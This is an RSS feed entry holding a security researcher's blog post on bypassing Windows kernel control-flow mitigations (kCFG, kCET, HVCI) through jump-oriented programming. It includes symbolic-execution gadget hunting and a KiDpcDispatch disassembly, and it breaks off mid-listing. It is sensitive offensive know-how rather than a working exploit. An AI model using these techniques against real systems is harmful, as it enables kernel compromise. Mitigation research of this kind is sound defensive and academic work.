<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Posts on Slowerzs&#39; blog</title>
    <link>https://blog.slowerzs.net/posts/</link>
    <description>Recent content in Posts on Slowerzs&#39; blog</description>
    <generator>Hugo</generator>
    <language>en</language>
    <lastBuildDate>Wed, 19 Mar 2025 18:04:08 +0100</lastBuildDate>
    <atom:link href="https://blog.slowerzs.net/posts/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Code reuse in the age of kCET and HVCI</title>
      <link>https://blog.slowerzs.net/posts/keyjumper/</link>
      <pubDate>Wed, 19 Mar 2025 18:04:08 +0100</pubDate>
      <guid>https://blog.slowerzs.net/posts/keyjumper/</guid>
      <description>&lt;p&gt;With the recent evolutions of the Windows kernel, multiple mitigations and hardenings have been created, to prevent arbitrary kernel code execution. First, HVCI ensures at the hypervisor level that only signed drivers can be loaded within the kernel. To prevent the allocation of new executable pages, &lt;em&gt;Extended Page Tables&lt;/em&gt; are used - new executable pages can only be allocated with support of the hypervisor, and that requires some form of code signature.&lt;/p&gt;&#xA;&lt;p&gt;Then, to ensure already loaded code cannot be reused, Control-Flow Integrity is enforced using two different mechanisms. kCFG is a software implementation of CFI used to protect forward edges, which relies on a bitmap of valid call targets - bitmap that is protected by the hypervisor.&#xA;Backward-edges are protected using kCET, Windows support of Intel CET, a hardware implementation of a shadow stack, which protects return addresses on the stack from tampering.&lt;/p&gt;&#xA;&lt;p&gt;All of these mechanisms are described in &lt;a href=&#34;https://connormcgarr.github.io/hvci/&#34;&gt;this blogpost&lt;/a&gt;, which I recommend reading.&lt;/p&gt;&#xA;&lt;p&gt;The addition of kCET makes techniques such as &lt;a href=&#34;https://github.com/Cr4sh/KernelForge&#34;&gt;KernelForge&lt;/a&gt; non-functionnal, which would craft a ROP chain on the stack of a dummy thread to chain arbitrary function calls.&lt;/p&gt;&#xA;&lt;p&gt;In this blogpost, I wanted to explore whether kernel-code execution was still possible, or if data-only attacks are now the only way to go.&lt;/p&gt;&#xA;&lt;h2 id=&#34;breaking-forward-edge-integrity&#34;&gt;Breaking forward-edge integrity&lt;/h2&gt;&#xA;&lt;p&gt;While kCET seems pretty robust, kCFG is not as robust as Intel IBT, the hardware implementation of forward-edge CFI. As such, techniques like &lt;em&gt;Jump-Oriented Programming&lt;/em&gt; (JOP) can get around kCET, but the first gadget in the chain is unlikely to be a valid call target. Therefore, we need to get around kCFG once, afterwards, it is no longer a concern during the execution of the JOP chain.&lt;/p&gt;&#xA;&lt;p&gt;kCFG can only maintain the integrity of the control flow if every call site is instrumented. In practice however, in the Windows kernel, it is not uncommon to find unprotected calls or jumps.&lt;/p&gt;&#xA;&lt;p&gt;To discover interesting functions which lead to unprotected call sites with attacker controlled data, I experimented with two different approaches: manually inspecting control-flow related functions, in particular functions that can modify the control-flow in unpredictable ways at compile time - exceptions and &lt;code&gt;goto&lt;/code&gt;. The second approach was using symbolic execution with the &lt;a href=&#34;https://github.com/cea-sec/miasm&#34;&gt;miasm&lt;/a&gt; framework.&lt;/p&gt;&#xA;&lt;h3 id=&#34;symbolic-execution&#34;&gt;Symbolic execution&lt;/h3&gt;&#xA;&lt;p&gt;I wrote a quick script to list all valid call targets of &lt;code&gt;ntoskrnl.exe&lt;/code&gt;, and for each function, ran the symbolic execution. Then, the execution stops when the instruction pointer cannot be solved, and logged the expression which determines the value of the instruction pointer.&#xA;I filtered the results to only keep functions where the instruction pointer depended on the arguments given to the function.&lt;/p&gt;&#xA;&lt;p&gt;This yielded some interesting results. Below I show some candidates that could be used, depending on the primitive you have:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;KiDpcDispatch&lt;/code&gt; xors a buffer pointed by &lt;code&gt;RCX&lt;/code&gt; with &lt;code&gt;RDX&lt;/code&gt;, then gets the address of a kernel function, writes a value to the target address, and jumps to it. For example, the expression returned by miasm is the following: &lt;code&gt;(@64[@64[RCX + 0x40] + 0x20] ^ @64[@64[RCX + 0x40] + 0x40]) | 0xFFFF800000000000&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;details&gt;&#xA;    &lt;summary&gt;KiDpcDispatch&lt;/summary&gt;&#xA;    &lt;div&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-nasm&#34; data-lang=&#34;nasm&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;add&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x18&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x28&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x30&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x38&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x50&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x58&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x60&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x68&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x70&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x78&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x80&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x88&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x90&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x98&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xa0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xa8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xb0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xb8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xc0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;edx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;sub&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x48&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x40&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0xffff800000000000&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r9&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;r8&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r9&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;or&lt;/span&gt;         &lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x85131481131482e&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;xor&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rdx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;qword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;kt&#34;&gt;dword&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;ptr&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;ecx&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nf&#34;&gt;mov&lt;/span&gt;        &lt;span class=&#34;nb&#34;&gt;rcx&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;r10&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 